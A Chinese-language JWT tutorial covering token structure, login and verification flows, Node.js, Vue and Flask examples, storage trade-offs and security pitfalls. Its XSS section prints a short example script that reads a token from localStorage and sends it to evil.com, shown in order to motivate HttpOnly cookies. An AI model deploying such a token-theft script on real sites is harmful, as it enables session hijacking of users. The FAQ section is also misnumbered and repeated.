# JWT 指南
# 一、先搞懂:JWT 到底是个啥?
# 官方定义
JWT 全称:JSON Web Token
翻译过来就是:JSON 格式的网络令牌。
你可以把它理解成:一张自带加密签名的"电子通行证"。
# 核心特性
- 它是一段字符串
- 里面可以存用户信息(如 id、角色、过期时间)
- 服务端看到它,就能认出你是谁、是否合法
- 不需要再查一次数据库 Session
一句话总结:
JWT = 轻量、自包含、可跨域的身份凭证
# 二、用生活例子秒懂 JWT 运作
# 景区门票 analogy
你去景区玩:
- 去售票处 → 出示身份证 → 买票
- 拿到一张门票
- 进去每个景点:直接出示门票,不用再回售票处核验身份
- 门票过期/伪造 → 直接拒绝
# 对应到 JWT 系统
| 景区场景 | JWT 对应物 |
|---|---|
| 售票处 | 登录接口 /login |
| 身份证 | 用户名 + 密码 |
| 门票 | JWT Token |
| 景区各个景点 | 你的后端 API 接口 |
| 检票员 | JWT 验证中间件 |
# 传统 Session vs JWT
传统 Session 模式:
你每进一个景点,都要跑回售票处查一下你是不是买了票。
JWT 模式:
门票上已经写了你的信息、有效期、盖章,景点自己就能验,不用问售票处。
# 三、JWT 长什么样?
# 外观格式
JWT 是一段用点 . 分隔的三段字符串,长成这样:
xxxxx.yyyyy.zzzzz
# 实际示例
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDA4NiIsIm5hbWUiOiLkurrmsKMiLCJyb2xlIjoidXNlciIsImV4cCI6MTczNTY4OTYxMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# 标准结构
Header.Payload.Signature
# 说明:前两部分使用 Base64URL 编码,第三部分是二进制签名数据。
# 四、三部分分别干嘛用?
# 1️⃣ Header(头部)
告诉别人两件事:
- 这是 JWT
- 用什么加密算法(通常是 HS256)
示例:
{
"alg": "HS256", // 签名的算法(algorithm)
"typ": "JWT" // 令牌(token)的类型(type)
}
经过 Base64URL 编码,变成第一段字符串。
常见算法:
HS256:HMAC SHA256(对称加密,最常用)RS256:RSA SHA256(非对称加密,更安全)ES256:ECDSA SHA256(椭圆曲线加密)
# 2️⃣ Payload(负载/数据)
这里放真正要存的数据,比如:
- 用户 id
- 用户名
- 过期时间
- 角色(admin / user)
示例:
{
"sub": "10086",
"name": "张三",
"role": "user",
"exp": 1735689612,
"iat": 1735682412
}
# 📌 标准(官方)字段说明(Claims)
| 字段 | 全称 | 含义 | 是否必须 |
|---|---|---|---|
iss | Issuer | 签发者 | 可选 |
exp | Expiration Time | 过期时间 | 建议必填 |
sub | Subject | 主题(通常是用户 ID) | 可选 |
aud | Audience | 受众 | 可选 |
iat | Issued At | 签发时间 | 可选 |
nbf | Not Before | 生效时间 | 可选 |
jti | JWT ID | 唯一标识 | 可选 |
# ⚠️ 重要提醒
Payload 只是 Base64 编码,不是加密!谁都能解码查看!
绝对不要放密码、手机号等敏感信息!
你可以用这个网站解码任何 JWT:https://jwt.io
# 3️⃣ Signature(签名)—— JWT 的灵魂
这是保证不被篡改的关键。
# 生成公式
Signature = HMACSHA256(
base64UrlEncode(Header) + "." + base64UrlEncode(Payload),
secret
)
# 生成流程
- 服务端将 Header 和 Payload 分别进行 Base64URL 编码
- 用
.连接两部分 - 使用密钥(Secret)对连接后的字符串进行 HMAC-SHA256 加密
- 得到一段独一无二的签名
- 拼接成完整 JWT:
Header.Payload.Signature
# 核心作用
- ✅ 防篡改:只要内容被改一点点 → 签名立刻失效
- ✅ 防伪:只有持有密钥的服务端才能生成合法 JWT
- ✅ 验证身份:确认 JWT 是由可信方签发的
# 五、JWT 完整运作机制(一步不落)
这是后端最常用的登录鉴权流程,看完你就能直接用在项目里。
# 📋 完整流程图
┌─────────┐ ┌─────────┐ ┌─────────┐
│ 前端 │ │ 后端 │ │ 数据库 │
└────┬────┘ └────┬────┘ └────┬────┘
│ │ │
│ 1. POST /login │ │
│ {username, password} │ │
│─────────────────────────────>│ │
│ │ 2. 验证账号密码 │
│ │─────────────────────────────>│
│ │ │
│ │ 3. 返回验证结果 │
│ │<─────────────────────────────│
│ │ │
│ │ 4. 生成 JWT │
│ │ - 构造 Payload │
│ │ - 生成签名 │
│ │ │
│ 5. 返回 JWT Token │ │
│ {token, expiresIn} │ │
│<─────────────────────────────│ │
│ │ │
│ 6. 存储 Token │ │
│ (localStorage/cookie) │ │
│ │ │
│ 7. 请求其他接口 │ │
│ Authorization: Bearer │ │
│ eyJhbGciOiJIUzI1Ni... │ │
│─────────────────────────────>│ │
│ │ 8. 验证 JWT │
│ │ - 拆解 Token │
│ │ - 验证签名 │
│ │ - 检查过期时间 │
│ │ │
│ 9. 返回业务数据 │ │
│ {data: ...} │ │
│<─────────────────────────────│ │
│ │ │
# 🔹 步骤 1:用户登录
前端操作:
// 前端发送登录请求
async function login(username, password) {
const response = await fetch('/api/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ username, password })
});
const data = await response.json();
return data;
}
# 🔹 步骤 2:服务端验证通过,生成 JWT
后端示例(Node.js + jsonwebtoken):
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
// 生成 JWT 的函数
function generateToken(user) {
const payload = {
sub: user.id.toString(),
username: user.username,
role: user.role,
email: user.email
};
const options = {
expiresIn: '2h', // 2 小时过期
issuer: 'your-app-name',
audience: 'your-api-users'
};
// 使用密钥生成 JWT
const token = jwt.sign(payload, process.env.JWT_SECRET, options);
return token;
}
// 登录接口
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// 1. 查询数据库验证账号密码
const user = await db.users.findOne({ where: { username } });
if (!user || !verifyPassword(password, user.passwordHash)) {
return res.status(401).json({ error: '账号或密码错误' });
}
// 2. 生成 JWT
const token = generateToken(user);
// 3. 返回给前端
res.json({
success: true,
token,
expiresIn: 7200, // 过期时间(秒)
user: {
id: user.id,
username: user.username,
role: user.role
}
});
});
# 🔹 步骤 3:前端保存 JWT
三种常见存储方式对比:
| 存储方式 | 优点 | 缺点 | 安全等级 |
|---|---|---|---|
| localStorage | 简单易用,容量大 (5MB) | 易受 XSS 攻击 | ⭐⭐ |
| Session Storage | 页面关闭自动清除 | 标签页不共享 | ⭐⭐ |
| Cookie (HttpOnly) | 防 XSS,自动携带 | 需防 CSRF,容量小 (4KB) | ⭐⭐⭐⭐ |
推荐方案:
- 普通应用:localStorage + HTTPS
- 高安全应用:HttpOnly Cookie + CSRF Token
前端存储示例:
// 方式 1: localStorage(最常用)
function saveToken(token) {
localStorage.setItem('access_token', token);
}
// 方式 2: Cookie(需要后端配合设置 HttpOnly)
// 后端设置:res.cookie('token', token, { httpOnly: true, secure: true })
// 方式 3: Pinia/Vuex(配合持久化插件)
// store.commit('SET_TOKEN', token);
# 🔹 步骤 4:前端请求接口时携带 JWT
常见方式:放在 HTTP Header
// 方式 1: 原生 Fetch
async function fetchWithAuth(url, options = {}) {
const token = localStorage.getItem('access_token');
const config = {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${token}`
}
};
return fetch(url, config);
}
// 方式 2: Axios 拦截器(推荐)
import axios from 'axios';
const apiClient = axios.create({
baseURL: '/api',
timeout: 10000
});
// 添加请求拦截器
apiClient.interceptors.request.use(config => {
const token = localStorage.getItem('access_token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
}, error => {
return Promise.reject(error);
});
// 方式 3: Vue Router 全局前置守卫
router.beforeEach((to, from, next) => {
const token = localStorage.getItem('access_token');
if (to.meta.requiresAuth && !token) {
next('/login');
} else {
next();
}
});
标准 Header 格式:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# 🔹 步骤 5:服务端验证 JWT
Node.js 中间件示例:
const jwt = require('jsonwebtoken');
// JWT 验证中间件
function authMiddleware(req, res, next) {
try {
// 1. 从 Header 中获取 Token
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({
error: '未提供认证令牌',
code: 'NO_TOKEN'
});
}
const token = authHeader.split(' ')[1];
// 2. 验证 Token
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'],
complete: true
});
// 3. 将用户信息附加到请求对象
req.user = {
id: decoded.payload.sub,
username: decoded.payload.username,
role: decoded.payload.role
};
// 4. 可选:检查是否在黑名单中
// const isBlacklisted = await redis.get(`blacklist:${token}`);
// if (isBlacklisted) {
// return res.status(401).json({ error: 'Token 已失效' });
// }
next();
} catch (error) {
if (error.name === 'TokenExpiredError') {
return res.status(401).json({
error: '令牌已过期',
code: 'TOKEN_EXPIRED',
expiredAt: error.expiredAt
});
}
if (error.name === 'JsonWebTokenError') {
return res.status(401).json({
error: '无效的令牌',
code: 'INVALID_TOKEN'
});
}
return res.status(500).json({ error: '服务器内部错误' });
}
}
// 使用中间件保护路由
app.get('/api/profile', authMiddleware, (req, res) => {
// req.user 已经包含用户信息
res.json({
success: true,
data: {
id: req.user.id,
username: req.user.username,
role: req.user.role
}
});
});
# 🔹 步骤 6:处理结果
验证通过 → 正常返回接口数据
验证失败 → 返回对应错误码
| HTTP 状态码 | 错误码 | 含义 | 前端处理方式 |
|---|---|---|---|
| 401 | NO_TOKEN | 未提供 Token | 跳转到登录页 |
| 401 | TOKEN_EXPIRED | Token 过期 | 尝试刷新 Token 或重新登录 |
| 401 | INVALID_TOKEN | 无效 Token | 清除本地 Token,跳转登录 |
| 403 | FORBIDDEN | 权限不足 | 提示无权限 |
自动刷新 Token 策略:
// Axios 响应拦截器处理 Token 刷新
apiClient.interceptors.response.use(
response => response,
async error => {
const originalRequest = error.config;
// 如果是 Token 过期且未重试过
if (error.response?.status === 401 &&
error.response?.data?.code === 'TOKEN_EXPIRED' &&
!originalRequest._retry) {
originalRequest._retry = true;
try {
// 尝试刷新 Token
const refreshToken = localStorage.getItem('refresh_token');
const { data } = await axios.post('/api/refresh', { refreshToken });
// 保存新 Token
localStorage.setItem('access_token', data.token);
// 重试原请求
originalRequest.headers.Authorization = `Bearer ${data.token}`;
return apiClient(originalRequest);
} catch (refreshError) {
// 刷新失败,跳转登录
localStorage.removeItem('access_token');
localStorage.removeItem('refresh_token');
window.location.href = '/login';
return Promise.reject(refreshError);
}
}
return Promise.reject(error);
}
);
# 六、JWT vs Session:全方位对比
# 详细对比表
| 特性 | Session | JWT |
|---|---|---|
| 存储位置 | 服务端内存/Redis | 客户端(浏览器/移动端) |
| 存储成本 | 占用服务器内存 | 不占服务器资源 |
| 传输方式 | Cookie 自动携带 | 手动添加到 Header |
| 跨域支持 | 需特殊配置(CORS + Credentials) | 天然支持跨域 |
| 扩展性 | 集群需共享 Session | 无需共享,易于水平扩展 |
| 性能 | 每次请求需查 Session 存储 | 只需验证签名,速度快 |
| 安全性 | 依赖 Cookie 安全设置 | 需防范 XSS/CSRF |
| 适用场景 | 传统单体应用 | 前后端分离、微服务、移动端 |
# 架构图对比
传统 Session 架构:
┌─────────┐ ┌─────────┐ ┌──────────┐
│ Client │─────>│ Server │─────>│ Session │
│ │<─────│ │<─────│ Store │
└─────────┘ └─────────┘ └──────────┘
↑
每次请求都要查询
JWT 架构:
┌─────────┐ ┌─────────┐
│ Client │─────>│ Server │
│ │ │(验证签名)│
│ [JWT] │<─────│ │
└─────────┘ └─────────┘
自带信息 无需查询
# 七、JWT 的优点与缺点
# ✅ 六大核心优势
# 1. 无状态(Stateless)
- 服务端不用存储 Session 信息
- 不占用服务器内存
- 易于水平扩展和负载均衡
# 2. 跨域友好
- 天然支持 CORS
- 适合前后端分离架构
- 完美适配微服务、小程序、APP
# 3. 自包含(Self-contained)
- 所有必要信息都在 Token 中
- 减少数据库查询次数
- 提升接口响应速度
# 4. 通用性强
- 所有主流语言都支持:
- JavaScript (jsonwebtoken, jose)
- Java (jjwt, nimbus-jose-jwt)
- Python (PyJWT, python-jose)
- Go (golang-jwt/jwt)
- PHP (firebase/php-jwt)
# 5. 性能优异
- 验证速度快(仅需计算签名)
- 无 I/O 开销
- 适合高并发场景
# 6. 灵活性高
- 可自定义 Claims
- 支持多种加密算法
- 可实现细粒度权限控制
# ⚠️ 五大潜在缺点
# 1. 无法主动失效(除非用黑名单)
- Token 在有效期内一直有效
- 用户登出后无法立即使 Token 失效
- 解决方案:
- 使用 Redis 黑名单存储已登出的 Token
- 设置较短的过期时间
- 实现 Refresh Token 机制
# 2. 体积较大
- 比 Session ID 长得多(通常 200-500 字符)
- 增加网络传输开销
- 优化方案:压缩 Payload 内容
# 3. 不能存储敏感信息
- Payload 可被任何人解码
- 不适合存储密码、银行卡号等
- 原则:只存非敏感的身份标识
# 4. 密钥管理复杂
- 密钥泄露 = 整个系统沦陷
- 多服务环境下密钥分发困难
- 最佳实践:
- 使用环境变量存储密钥
- 定期轮换密钥
- 使用非对称加密(RS256)
# 5. 日期兼容性陷阱
- 不同语言的时间戳格式可能不同
- 时区处理容易出错
- 建议:统一使用 UTC 时间戳
# 八、一定要注意的坑(血泪经验)
# 🚨 安全相关(必须遵守)
# 1. 绝对不要在 Payload 中存储敏感信息
❌ 错误示范:
{
"password": "123456", // 找死行为
"creditCard": "1234-5678-9012-3456",
"phone": "13800138000"
}
✅ 正确做法:
{
"sub": "user_10086",
"username": "zhangsan",
"role": "admin",
"permissions": ["read", "write"]
}
# 2. 必须设置合理的过期时间
❌ 错误示范:
// 永不过期 = 极度危险
jwt.sign(payload, secret, { expiresIn: 'never' });
// 过期时间太长
jwt.sign(payload, secret, { expiresIn: '365d' });
✅ 推荐方案:
// Access Token: 15 分钟 ~ 2 小时
jwt.sign(payload, secret, { expiresIn: '2h' });
// Refresh Token: 7 ~ 30 天
jwt.sign(payload, refreshSecret, { expiresIn: '7d' });
双 Token 机制:
// 生成双 Token
function generateTokenPair(user) {
const accessToken = jwt.sign(
{ sub: user.id, type: 'access' },
process.env.JWT_ACCESS_SECRET,
{ expiresIn: '2h' }
);
const refreshToken = jwt.sign(
{ sub: user.id, type: 'refresh' },
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' }
);
return { accessToken, refreshToken };
}
# 3. 密钥安全管理
❌ 作死行为:
// 硬编码在代码里
const secret = 'my-secret-key-123';
// 提交到 Git
// .env 文件没加入 .gitignore
✅ 正确姿势:
// 使用环境变量
require('dotenv').config();
const secret = process.env.JWT_SECRET;
// 生成强密钥
crypto.randomBytes(64).toString('hex');
// 输出:a3f8b2c1d4e5f6789012345678901234567890123456789012345678901234
// .env 文件示例
JWT_SECRET=your-super-long-random-string-generated-by-crypto
JWT_ALGORITHM=HS256
JWT_EXPIRATION=2h
密钥轮换策略:
// 支持多密钥验证
const secrets = {
'v1': process.env.JWT_SECRET_V1,
'v2': process.env.JWT_SECRET_V2 // 当前使用
};
function verifyToken(token) {
for (const [version, secret] of Object.entries(secrets)) {
try {
return jwt.verify(token, secret);
} catch (error) {
continue;
}
}
throw new Error('所有密钥都验证失败');
}
# 4. 必须使用 HTTPS
❌ HTTP 传输 = 裸奔
- JWT 可能被中间人截获
- 攻击者可以重放 Token
✅ 强制 HTTPS:
// Express 强制 HTTPS
app.use((req, res, next) => {
if (req.headers['x-forwarded-proto'] !== 'https') {
return res.redirect(`https://${req.host}${req.url}`);
}
next();
});
// Nginx 配置
server {
listen 80;
server_name api.example.com;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
# SSL 配置...
}
# 5. 防范 XSS 攻击
XSS 如何窃取 JWT:
// 攻击者注入恶意脚本
<script>
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal?token=' + token);
</script>
防护方案:
方案 A:使用 HttpOnly Cookie(最安全)
// 后端设置
res.cookie('token', token, {
httpOnly: true, // JavaScript 无法访问
secure: true, // 仅 HTTPS 传输
sameSite: 'strict', // 防 CSRF
maxAge: 7200000 // 2 小时
});
方案 B:强化 XSS 防护
// 1. 对用户输入进行转义
app.use(xss());
// 2. 设置 Content Security Policy
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'"
);
next();
});
// 3. 过滤用户输入
function sanitizeInput(input) {
return input.replace(/[<>"'&]/g, (char) => {
const entities = {
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'&': '&'
};
return entities[char];
});
}
# 6. 防范 CSRF 攻击
如果使用 Cookie 存储 Token,必须防 CSRF:
// 1. 使用 SameSite Cookie 属性
res.cookie('token', token, {
sameSite: 'strict', // 或 'lax'
secure: true
});
// 2. 添加 CSRF Token
const csrfToken = crypto.randomBytes(32).toString('hex');
res.cookie('csrfToken', csrfToken);
// 前端需要在 Header 中携带
fetch('/api/protected', {
headers: {
'X-CSRF-Token': csrfTokenFromCookie
}
});
// 3. 验证 Referer/Origin
app.use((req, res, next) => {
const origin = req.headers.origin;
const allowedOrigins = ['https://yourdomain.com'];
if (!allowedOrigins.includes(origin)) {
return res.status(403).json({ error: '非法来源' });
}
next();
});
# 🔧 实践相关
# 7. Token 续期策略
问题:用户正在操作,Token 突然过期怎么办?
解决方案:静默刷新
// 前端实现 Token 自动刷新
class TokenManager {
constructor() {
this.refreshTimer = null;
}
startAutoRefresh() {
// 每 30 分钟检查一次
this.refreshTimer = setInterval(() => {
this.checkAndRefresh();
}, 30 * 60 * 1000);
}
async checkAndRefresh() {
const token = localStorage.getItem('access_token');
if (!token) return;
try {
// 解码查看过期时间
const decoded = jwt_decode(token);
const now = Date.now() / 1000;
const timeLeft = decoded.exp - now;
// 剩余时间少于 15 分钟就刷新
if (timeLeft < 15 * 60) {
await this.refreshToken();
}
} catch (error) {
console.error('Token 检查失败', error);
}
}
async refreshToken() {
const refreshToken = localStorage.getItem('refresh_token');
try {
const response = await fetch('/api/refresh', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ refreshToken })
});
const data = await response.json();
localStorage.setItem('access_token', data.accessToken);
console.log('Token 已自动刷新');
} catch (error) {
console.error('刷新失败,请重新登录');
// 跳转到登录页
}
}
stop() {
if (this.refreshTimer) {
clearInterval(this.refreshTimer);
}
}
}
# 8. Token 黑名单机制
场景:用户登出后,如何让 Token 立即失效?
使用 Redis 实现黑名单:
const redis = require('redis');
const client = redis.createClient();
// 用户登出时将 Token 加入黑名单
app.post('/api/logout', authMiddleware, async (req, res) => {
const token = req.headers.authorization.split(' ')[1];
const decoded = jwt.decode(token);
// 计算剩余有效期
const ttl = decoded.exp - Math.floor(Date.now() / 1000);
if (ttl > 0) {
// 存入 Redis,设置剩余 TTL
await client.setex(`blacklist:${token}`, ttl, 'blocked');
}
res.json({ success: true, message: '已登出' });
});
// 中间件检查黑名单
async function authMiddleware(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
// 检查是否在黑名单
const isBlacklisted = await client.get(`blacklist:${token}`);
if (isBlacklisted) {
return res.status(401).json({ error: 'Token 已失效' });
}
// 继续正常验证...
next();
}
# 十二、常见问题 FAQ
# Q1: JWT 和 Session 应该选哪个?
选择建议:
| 场景 | 推荐方案 |
|---|---|
| 传统单体应用 | Session |
| 前后端分离 | JWT |
| 微服务架构 | JWT |
| 移动端 APP | JWT |
| 需要跨域 | JWT |
| 高安全要求内部系统 | Session |
# Q2: Token 被劫持了怎么办?
应急方案:
- 立即将该 Token 加入黑名单
- 强制用户重新登录
- 检查日志追踪攻击来源
- 通知用户修改密码
预防措施:
- 使用 HTTPS
- 缩短 Token 有效期
- 绑定用户 IP 或设备指纹
- 实现异常检测(异地登录提醒)
# Q3: 如何实现权限管理?
方案:在 Payload 中添加角色和权限
const token = jwt.sign({
sub: userId,
role: 'admin',
permissions: ['user:read', 'user:write', 'post:delete']
}, secret);
// 中间件验证权限
function requirePermission(permission) {
return (req, res, next) => {
if (!req.user.permissions.includes(permission)) {
return res.status(403).json({ error: '权限不足' });
}
next();
};
}
// 使用
app.delete('/api/post/:id',
authMiddleware,
requirePermission('post:delete'),
deletePost
);
# Q4: 多设备登录怎么处理?
方案 A:允许同时在线
- 每个设备生成不同的 Token
- Token 中记录设备信息
const token = jwt.sign({
sub: userId,
deviceId: generateDeviceId(),
deviceType: 'mobile' // 或 'desktop', 'tablet'
}, secret);
方案 B:单点登录(互斥)
- 同一用户只允许一个 Token 有效
- 新登录使旧 Token 失效
// 登录时将旧 Token 加入黑名单
const oldToken = await getUserToken(userId);
if (oldToken) {
await blacklist.add(oldToken);
}
# Q5: 分布式环境下密钥如何管理?
方案 A:共享密钥(推荐)
- 所有服务使用相同密钥
- 通过配置中心统一管理
# Kubernetes ConfigMap
apiVersion: v1
kind: ConfigMap
metadata:
name: jwt-config
data:
JWT_SECRET: "shared-secret-key"
方案 B:非对称加密
- 认证服务持有私钥
- 其他服务持有公钥验证
// 认证服务生成
const privateKey = fs.readFileSync('private.key');
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });
// 其他服务验证
const publicKey = fs.readFileSync('public.key');
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
# Q6: 如何处理 Token 过期?
优雅的处理流程:
// 前端自动刷新
axios.interceptors.response.use(
response => response,
async error => {
if (error.response?.status === 401) {
try {
// 尝试刷新
const { data } = await axios.post('/refresh', {
refreshToken: localStorage.getItem('refresh_token')
});
localStorage.setItem('access_token', data.token);
// 重试原请求
error.config.headers.Authorization = `Bearer ${data.token}`;
return axios(error.config);
} catch (refreshError) {
// 刷新失败,跳转登录
localStorage.removeItem('access_token');
localStorage.removeItem('refresh_token');
window.location.href = '/login';
return Promise.reject(refreshError);
}
}
return Promise.reject(error);
}
);
# Q7: JWT 可以取消吗?
JWT 本身无法取消,但可以通过以下方式实现:
黑名单机制(推荐)
// 登出时加入 Redis 黑名单 await redis.setex(`blacklist:${token}`, remainingTime, '1');短期 Token + 频繁验证
- 设置很短的过期时间(15 分钟)
- 过期后自动刷新
版本控制
- 在 Payload 中加入
version字段 - 修改密钥或检查版本号
- 在 Payload 中加入
# 九、实战代码示例
# 1️⃣ Node.js 完整示例
安装依赖:
npm install express jsonwebtoken bcryptjs dotenv cors
后端完整代码:
// server.js
require('dotenv').config();
const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcryptjs');
const cors = require('cors');
const app = express();
app.use(cors());
app.use(express.json());
// 模拟数据库
const users = [
{
id: 1,
username: 'admin',
password: bcrypt.hashSync('123456', 10),
role: 'admin'
},
{
id: 2,
username: 'user',
password: bcrypt.hashSync('123456', 10),
role: 'user'
}
];
// JWT 中间件
function authMiddleware(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: '未提供认证令牌' });
}
const token = authHeader.split(' ')[1];
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded;
next();
} catch (error) {
return res.status(401).json({ error: '无效的令牌' });
}
}
// 登录接口
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
const user = users.find(u => u.username === username);
if (!user || !bcrypt.compareSync(password, user.password)) {
return res.status(401).json({ error: '账号或密码错误' });
}
const token = jwt.sign(
{
sub: user.id,
username: user.username,
role: user.role
},
process.env.JWT_SECRET,
{ expiresIn: '2h' }
);
res.json({
success: true,
token,
user: {
id: user.id,
username: user.username,
role: user.role
}
});
});
// 受保护的接口
app.get('/api/profile', authMiddleware, (req, res) => {
res.json({
success: true,
data: {
id: req.user.sub,
username: req.user.username,
role: req.user.role
}
});
});
// 测试接口
app.get('/api/public', (req, res) => {
res.json({ message: '这是公开接口,无需认证' });
});
app.listen(3000, () => {
console.log('服务器运行在 http://localhost:3000');
});
.env 配置文件:
JWT_SECRET=your-super-secret-key-change-this-in-production
JWT_ALGORITHM=HS256
PORT=3000
# 2️⃣ 前端 Vue 3 完整示例
安装依赖:
npm install axios vue-router pinia
API 请求封装:
// src/utils/request.js
import axios from 'axios';
import router from '@/router';
const request = axios.create({
baseURL: 'http://localhost:3000/api',
timeout: 10000
});
// 请求拦截器
request.interceptors.request.use(
config => {
const token = localStorage.getItem('access_token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
},
error => {
return Promise.reject(error);
}
);
// 响应拦截器
request.interceptors.response.use(
response => response,
error => {
if (error.response?.status === 401) {
localStorage.removeItem('access_token');
router.push('/login');
}
return Promise.reject(error);
}
);
export default request;
登录页面:
<!-- src/views/Login.vue -->
<template>
<div class="login-container">
<el-form :model="form" label-width="80px">
<el-form-item label="用户名">
<el-input v-model="form.username" />
</el-form-item>
<el-form-item label="密码">
<el-input v-model="form.password" type="password" />
</el-form-item>
<el-form-item>
<el-button type="primary" @click="handleLogin">登录</el-button>
</el-form-item>
</el-form>
</div>
</template>
<script setup>
import { reactive } from 'vue';
import { useRouter } from 'vue-router';
import request from '@/utils/request';
const router = useRouter();
const form = reactive({
username: '',
password: ''
});
const handleLogin = async () => {
try {
const { data } = await request.post('/login', form);
localStorage.setItem('access_token', data.token);
router.push('/profile');
} catch (error) {
alert(error.response?.data?.error || '登录失败');
}
};
</script>
路由守卫:
// src/router/index.js
import { createRouter, createWebHistory } from 'vue-router';
const routes = [
{
path: '/login',
name: 'Login',
component: () => import('@/views/Login.vue')
},
{
path: '/profile',
name: 'Profile',
component: () => import('@/views/Profile.vue'),
meta: { requiresAuth: true }
}
];
const router = createRouter({
history: createWebHistory(),
routes
});
router.beforeEach((to, from, next) => {
const token = localStorage.getItem('access_token');
if (to.meta.requiresAuth && !token) {
next('/login');
} else {
next();
}
});
export default router;
# 3️⃣ Python Flask 示例
安装依赖:
pip install flask PyJWT bcrypt flask-cors
后端代码:
# app.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import jwt
import bcrypt
import datetime
from functools import wraps
app = Flask(__name__)
CORS(app)
app.config['SECRET_KEY'] = 'your-secret-key-here'
# 模拟数据库
users = [
{
'id': 1,
'username': 'admin',
'password': bcrypt.hashpw('123456'.encode(), bcrypt.gensalt()),
'role': 'admin'
}
]
def token_required(f):
@wraps(f)
def decorated(*args, **kwargs):
token = None
if 'Authorization' in request.headers:
try:
token = request.headers['Authorization'].split(' ')[1]
except:
pass
if not token:
return jsonify({'error': '缺少 Token'}), 401
try:
data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
current_user = data['sub']
except jwt.ExpiredSignatureError:
return jsonify({'error': 'Token 已过期'}), 401
except:
return jsonify({'error': '无效的 Token'}), 401
return f(current_user, *args, **kwargs)
return decorated
@app.route('/api/login', methods=['POST'])
def login():
data = request.json
username = data.get('username')
password = data.get('password')
user = next((u for u in users if u['username'] == username), None)
if not user or not bcrypt.checkpw(password.encode(), user['password']):
return jsonify({'error': '账号或密码错误'}), 401
token = jwt.encode({
'sub': user['id'],
'username': user['username'],
'role': user['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=2)
}, app.config['SECRET_KEY'], algorithm='HS256')
return jsonify({
'success': True,
'token': token,
'user': {
'id': user['id'],
'username': user['username'],
'role': user['role']
}
})
@app.route('/api/profile')
@token_required
def profile(current_user):
return jsonify({
'success': True,
'data': {'user_id': current_user}
})
if __name__ == '__main__':
app.run(debug=True, port=3000)
# 十、常用工具和库
# 📦 各语言 JWT 库推荐
# JavaScript / Node.js
# 最流行
npm install jsonwebtoken
# 更新、更现代
npm install jose
jsonwebtoken 使用示例:
const jwt = require('jsonwebtoken');
// 生成
const token = jwt.sign(
{ sub: '123', name: 'John' },
'secret',
{ expiresIn: '1h' }
);
// 验证
const decoded = jwt.verify(token, 'secret');
// 解码(不验证)
const decodedWithoutVerify = jwt.decode(token);
PyJWT 使用示例:
import jwt
import datetime
# 生成
token = jwt.encode({
'sub': '123',
'name': 'John',
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}, 'secret', algorithm='HS256')
# 验证
decoded = jwt.decode(token, 'secret', algorithms=['HS256'])
# Java
<!-- Maven 依赖 -->
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
<version>0.9.1</version>
</dependency>
Java 使用示例:
String token = Jwts.builder()
.setSubject("123")
.claim("name", "John")
.setExpiration(new Date(System.currentTimeMillis() + 3600000))
.signWith(SignatureAlgorithm.HS256, "secret")
.compact();
Claims claims = Jwts.parser()
.setSigningKey("secret")
.parseClaimsJws(token)
.getBody();
#
# 🛠️ 在线工具
JWT 解码调试:https://jwt.io
- 实时解码 JWT
- 验证签名
- 生成测试 Token
JWT 生成器:https://devtool.tech/jwt
- 可视化生成 JWT
- 支持多种算法
JWT 漏洞扫描:
- jwt.io Debugger
- JOSEPH (JavaScript Object Signing and Encryption Pentesting Helper)
# 十一、最佳实践清单 ✅
# 🔐 安全最佳实践
- [ ] 使用强密钥:至少 32 个字符的随机字符串
- [ ] 永远使用 HTTPS:生产环境强制 TLS
- [ ] 设置合理的过期时间:Access Token ≤ 2 小时
- [ ] 不在 Payload 存敏感信息:密码、手机号、银行卡号都不行
- [ ] 实现 Token 刷新机制:使用 Refresh Token
- [ ] 添加 Token 黑名单:支持用户登出后立即失效
- [ ] 验证算法类型:防止算法替换攻击
- [ ] 限制 Token 用途:使用
aud字段指定受众
# 💻 开发最佳实践
- [ ] 使用环境变量存储密钥:绝不硬编码
- [ ] 统一的错误处理:不泄露敏感信息
- [ ] 日志记录:记录认证失败但不记录 Token
- [ ] 速率限制:防止暴力破解
- [ ] 版本控制:在 Token 中加入版本号便于升级
- [ ] 文档完善:明确标注哪些字段是必须的
# 🚀 性能优化
- [ ] 精简 Payload:只存必要信息
- [ ] 使用压缩算法:如果 Token 过大
- [ ] 缓存验证结果:短时间内相同 Token 无需重复验证
- [ ] 选择合适算法:HS256 性能优于 RS256
# 十二、常见问题 FAQ
# Q1: JWT 和 Session 应该选哪个?
选择建议:
| 场景 | 推荐方案 |
|---|---|
| 传统单体应用 | Session |
| 前后端分离 | JWT |
| 微服务架构 | JWT |
| 移动端 APP | JWT |
| 需要跨域 | JWT |
| 高安全要求内部系统 | Session |
